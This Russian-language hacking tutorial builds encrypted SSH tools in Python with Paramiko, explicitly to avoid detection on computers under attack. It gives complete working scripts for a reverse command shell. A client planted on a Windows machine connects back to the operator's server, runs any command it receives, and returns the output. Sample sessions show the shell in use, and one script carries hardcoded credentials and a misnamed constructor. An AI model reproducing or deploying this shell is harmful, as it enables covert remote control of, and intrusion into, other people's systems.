Замена Netcat, которую мы создали в предыдущей статье, довольно полезная, но иногда, чтобы вас не обнаружили, лучше шифровать трафик. Часто для этого создают туннель с помощью протокола SSH. Но что если на атакуемом вами компьютере нет SSH-клиента, как у 99,81943 % систем Windows? В этой статье я покажу, как использовать библиотеку Paramiko на Python, для создания зашифрованного соединения SSH.
Еще по теме: Как написать сканер портов на Python
Библиотека Paramiko Python
Конечно, для Windows есть отличные SSH-клиенты, такие как PuTTY, но мы говорим о Python. В Python для создания SSH-клиента или сервера можно использовать сырые сокеты и чуть-чуть криптографической магии, но зачем писать самим, если можно взять готовое? Пакет Paramiko, основанный на PyCrypto, предоставляет простой доступ к протоколу SSH2.
Чтобы показать, как работает эта библиотека, сделаем с ее помощью несколько упражнений: установим соединение и выполним по SSH команду в удаленной системе, подготовим SSH-клиент и SSH-сервер для реализации удаленных команд на компьютере с Windows и, наконец, проанализируем файл с демонстрацией обратного туннеля, входящий в состав Paramiko.
SSH с использованием Paramiko на Python
Для начала установите пакет Paramiko с помощью pip (или скачайте его на сайте http://www.paramiko.org/):
1 |
pip install paramiko |
Позже мы будем использовать несколько демонстрационных файлов, поэтому не забудьте скачать их из репозитория Paramiko на GitHub (https://github.com/paramiko/paramiko/).
Создайте файл с именем ssh_cmd.py и наберите следующее:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
def ssh_command(ip, port, user, passwd, cmd): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, port=port, username=user, password=passwd) _, stdout, stderr = client.exec_command(cmd) output = stdout.readlines() + stderr.readlines() if output: print('--- Output ---') for line in output: print(line.strip()) if __name__ == '__main__': import getpass # user = getpass.getuser() user = input('Username: ') password = getpass.getpass() ip = input('Enter server IP: ') or '192.168.1.203' port = input('Enter port or <CR>: ') or 2222 cmd = input('Enter command or <CR>: ') or 'id' ssh_command(ip, port, user, password, cmd) |
Мы создаем функцию ssh_command (строка 1), которая подключается к SSH-серверу и выполняет отдельную команду. Следует отметить, что вместо пароля (или в дополнение к нему) Paramiko позволяет использовать для аутентификации ключи. SSH-ключ лучше подходит для реальной работы, но, чтобы упростить этот пример, будем входить в систему с помощью имени пользователя и пароля.
Поскольку мы контролируем оба конца этого соединения, то устанавливаем политику, согласно которой SSH-сервер, к которому подключаемся, должен принять SSH-ключ и установить соединение (строка 3). Если соединение установлено успешно, выполняем команду (строка 5), которую мы передали функции ssh_command.
Затем, если команда сгенерировала вывод, отображаем в консоли каждую его строчку.
В главном блоке задействуется новый модуль getpass (строка 14). С его помощью можно получить имя пользователя в текущей среде, но поскольку в двух наших системах используются разные имена, мы просим пользователя ввести свое имя в командной строке. Затем вызываем функцию getpass, чтобы запросить пароль (к разочарованию тех, кто любит подглядывать, введенный текст не будет отображаться в консоли). Затем мы получаем IP-адрес, порт и команду, которую нужно выполнить и передаем все это функции ssh_command (строка 22).
Проведем небольшую проверку и подключимся к нашему серверу Linux:
1 2 3 4 5 6 7 8 |
% python ssh_cmd.py Username: tim Password: Enter server IP: 192.168.1.203 Enter port or <CR>: 22 Enter command or <CR>: id --- Output --- uid=1000(tim) gid=1000(tim) groups=1000(tim),27(sudo) |
Как видите, мы подключились и затем выполнили команду. Вы можете легко адаптировать этот скрипт для выполнения сразу нескольких команд на одном или разных SSH-серверах.
Разобравшись с основами, модифицируем этот скрипт, чтобы он мог выполнять команды по SSH на Windows-клиенте. Конечно, обычно для подключения к SSH-серверу используют SSH-клиент, но поскольку в стандартной поставке большинства версий Windows нет SSH-сервера, нам нужно поменять сервер и клиент местами, чтобы первый мог слать команды второму.
Создайте файл с именем ssh_rcmd.py и вставьте следующий код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
import paramiko import shlex import subprocess def ssh_command(ip, port, user, passwd, command): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, port=port, username=user, password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command) print(ssh_session.recv(1024).decode()) while True: command = ssh_session.recv(1024) try: cmd = command.decode() if cmd == 'exit': client.close() break cmd_output = subprocess.check_output(shlex.split(cmd), shell=True) ssh_session.send(cmd_output or 'okay') except Exception as e: ssh_session.send(str(e)) client.close() return if __name__ == '__main__': import getpass user = getpass.getuser() password = getpass.getpass() ip = input('Enter server IP: ') port = input('Enter port: ') ssh_command(ip, port, user, password, 'ClientConnected') |
Верхняя часть у этой программы такая же, как и у предыдущей. Различия начинаются в цикле while True:. Вместо выполнения одной команды, как делали ранее, мы последовательно берем команды из соединения (строка 15), выполняем их (строка 21) и затем возвращаем весь вывод вызывающей стороне (строка 22).
Также заметьте, что в качестве первой команды мы шлем ClientConnected (строка 25). Причину этого вы поймете, когда будет создана обратная сторона SSH-соединения.
Теперь напишем программу, которая создаст SSH-сервер, чтобы к нему мог подключиться наш SSH-клиент, на стороне которого будут выполняться команды. Он может работать в системе под управлением Linux, Windows или даже macOS — главное, чтобы там были установлены Python и Paramiko.
Создайте файл с именем ssh_server.py и наберите следующее:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
import os import paramiko import socket import sys import threading CWD = os.path.dirname(os.path.realpath(__file__)) HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key')) class Server (paramiko.ServerInterface): def _init_(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if (username == 'tim') and (password == 'sekret'): return paramiko.AUTH_SUCCESSFUL if __name__ == '__main__': server = '192.168.1.207' ssh_port = 2222 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, ssh_port)) sock.listen(100) print('[+] Listening for connection ...') client, addr = sock.accept() except Exception as e: print('[-] Listen failed: ' + str(e)) sys.exit(1) else: print('[+] Got a connection!', client, addr) bhSession = paramiko.Transport(client) bhSession.add_server_key(HOSTKEY) server = Server() bhSession.start_server(server=server) chan = bhSession.accept(20) if chan is None: print('*** No channel.') sys.exit(1) print('[+] Authenticated!') print(chan.recv(1024)) chan.send('Welcome to bh_ssh') try: while True: command= input("Enter command: ") if command != 'exit': chan.send(command) r = chan.recv(8192) print(r.decode()) else: chan.send('exit') print('exiting') bhSession.close() break except KeyboardInterrupt: bhSession.close() |
В этом примере мы используем SSH-ключ, входящий в состав демонстрационных файлов Paramiko (строка 8).
Мы начинаем прослушивать сокет (строка 28), как вы уже видели ранее в этой главе, но затем добавляем поддержку SSH (строка 10) и настраиваем методы аутентификации (строка 38).
Когда клиент аутентифицируется (строка 48) и пошлет нам сообщение ClientConnected (строка 49), любая команда, введенная в SSH-сервер (на компьютере, где запущен скрипт ssh_server.py), будет передаваться на выполнение SSH-клиенту (на компьютер, где запущен скрипт ssh_rcmd.py), а тот в свою очередь станет возвращать вывод SSH-серверу.
Попробуем реализовать это на практике.
Проверка написанного
В демонстрационных целях клиент будет запущен на нашем (принадлежащем авторам) компьютере под управлением Windows, а сервер — на Mac. Вот как запускается сервер:
1 2 |
% python ssh_server.py [+] Listening for connection ... |
Теперь запустим клиент на компьютере с Windows:
1 2 3 |
C:\Users\tim>: $ python ssh_rcmd.py Password: Welcome to bh_ssh |
Если вернуться к серверу, можно наблюдать процесс соединения:
1 2 3 4 5 6 7 8 9 10 |
[+] Got a connection! from ('192.168.1.208', 61852) [+] Authenticated! ClientConnected Enter command: whoami desktop-cc91n7i\tim Enter command: ipconfig Windows IP Configuration <пропущено> |
Как видите, клиент успешно подключился, после чего мы выполнили несколько команд. SSH-клиент ничего не выводит, но выполняет те команды, которые мы ему отправляем, а вывод передается обратно нашему SSH-серверу.
РЕКОМЕНДУЕМ:
- Создание бэкдора на Python
- Создание VPN-туннеля на Windows и Linux
- Создание пейлоада на Python для взлома камеры